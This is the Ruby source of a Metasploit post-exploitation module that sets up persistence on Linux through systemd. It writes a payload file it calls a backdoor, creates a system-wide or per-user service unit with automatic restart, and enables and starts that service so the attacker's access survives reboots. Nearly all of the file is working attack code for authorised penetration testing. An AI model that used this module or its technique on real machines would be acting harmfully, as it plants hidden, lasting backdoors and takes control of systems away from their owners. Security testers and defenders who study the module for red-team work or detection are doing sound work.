## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix include Msf::Exploit::FileDropper include Msf::Exploit::EXE # for generate_payload_exe include Msf::Post::Linux::User # get_home_dir include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/linux/local/service_persistence' def initialize(info = {}) super( update_info( info, 'Name' => 'Service SystemD Persistence', 'Description' => %q{ This module will create a service on the box, and mark it for auto-restart. We need enough access to write service files and potentially restart services Targets: CentOS 7 Debian >= 7, <=8 Fedora >= 15 Ubuntu >= 15.04 Verified on Ubuntu 18.04.3 }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die ', 'Cale Black' # user target ], 'Platform' => ['unix', 'linux'], 'Privileged' => true, 'Targets' => [ ['systemd', {}], ['systemd user', {}] ], 'DefaultTarget' => 0, 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'References' => [ ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'], ['URL', 'https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/'], ['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE] ], 'SessionTypes' => ['shell', 'meterpreter'], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] }, 'DisclosureDate' => '2010-03-30' # systemd release date ) ) register_options( [ OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']), OptString.new('SERVICE', [false, 'Name of service to create']), OptString.new('USER', [ false, 'User to target, or current user if blank', '' ], conditions: ['Targets', '==', 'systemd user']), ] ) register_advanced_options( [ OptBool.new('EnableService', [true, 'Enable the service', true]) ] ) end def check print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') print_warning('User doesnt have root permissions, yet target set to systemd, likely need to change target to systemd user.') if target.name == 'systemd' && !is_root? return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir) return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir) return CheckCode::Safe('Likely not a systemd based system') unless command_exists?('systemctl') CheckCode::Appears("#{writable_dir} is writable and system is systemd based") end def target_user return datastore['USER'] unless datastore['USER'].blank? whoami end def install_persistence print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') backdoor = write_shell(writable_dir) path = backdoor.split('/')[0...-1].join('/') file = backdoor.split('/')[-1] case target.name when 'systemd' systemd(path, file) when 'systemd user' systemd_user(path, file) end end def write_shell(path) file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) backdoor = "#{path}/#{file_name}" vprint_status("Writing backdoor to #{backdoor}") if payload.arch.first == 'cmd' write_file(backdoor, payload.encoded) chmod(backdoor, 0o755) else upload_and_chmodx backdoor, generate_payload_exe end @clean_up_rc << "rm #{backdoor}\n" fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor) backdoor end def service_file(exec, target = 'multi-user.target') <<~EOF [Unit] Description=Start daemon at boot time After= Requires= [Service] RestartSec=10s Restart=always TimeoutStartSec=5 RemainAfterExit=yes ExecStart=#{exec} [Install] WantedBy=#{target} EOF end def systemd(backdoor_path, backdoor_file) if payload.arch.first == 'cmd' script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}") else script = service_file("#{backdoor_path}/#{backdoor_file}") end service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12) service_name = "/lib/systemd/system/#{service_filename}.service" vprint_status("Writing service: #{service_name}") write_file(service_name, script) fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name) @clean_up_rc << "rm #{service_name}\n" if datastore['EnableService'] vprint_status('Enabling service') cmd_exec("systemctl enable #{service_filename}.service") end vprint_status('Starting service') cmd_exec("systemctl start #{service_filename}.service") end def systemd_user(backdoor_path, backdoor_file) if payload.arch.first == 'cmd' script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}", 'default.target') else script = service_file("#{backdoor_path}/#{backdoor_file}", 'default.target') end service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12) user = target_user home = get_home_dir(user) vprint_status('Creating user service directory') cmd_exec("mkdir -p #{home}/.config/systemd/user") service_name = "#{home}/.config/systemd/user/#{service_filename}.service" vprint_status("Writing service: #{service_name}") write_file(service_name, script) @clean_up_rc << "rm #{service_name}\n" if !file_exist?(service_name) print_error('File not written, check permissions. Attempting secondary location') vprint_status('Creating user secondary service directory') cmd_exec("mkdir -p #{home}/.local/share/systemd/user") service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service" vprint_status("Writing .local service: #{service_name}") write_file(service_name, script) fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name) @clean_up_rc << "rm #{service_name}\n" end # This was taken from pam_systemd(8) systemd_socket_id = cmd_exec('id -u') systemd_socket_dir = "/run/user/#{systemd_socket_id}" vprint_status('Reloading manager configuration') cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload") if datastore['EnableService'] vprint_status('Enabling service') cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service") end vprint_status("Starting service: #{service_filename}") # Prefer restart over start, as it will execute already existing service files cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user restart #{service_filename}") end end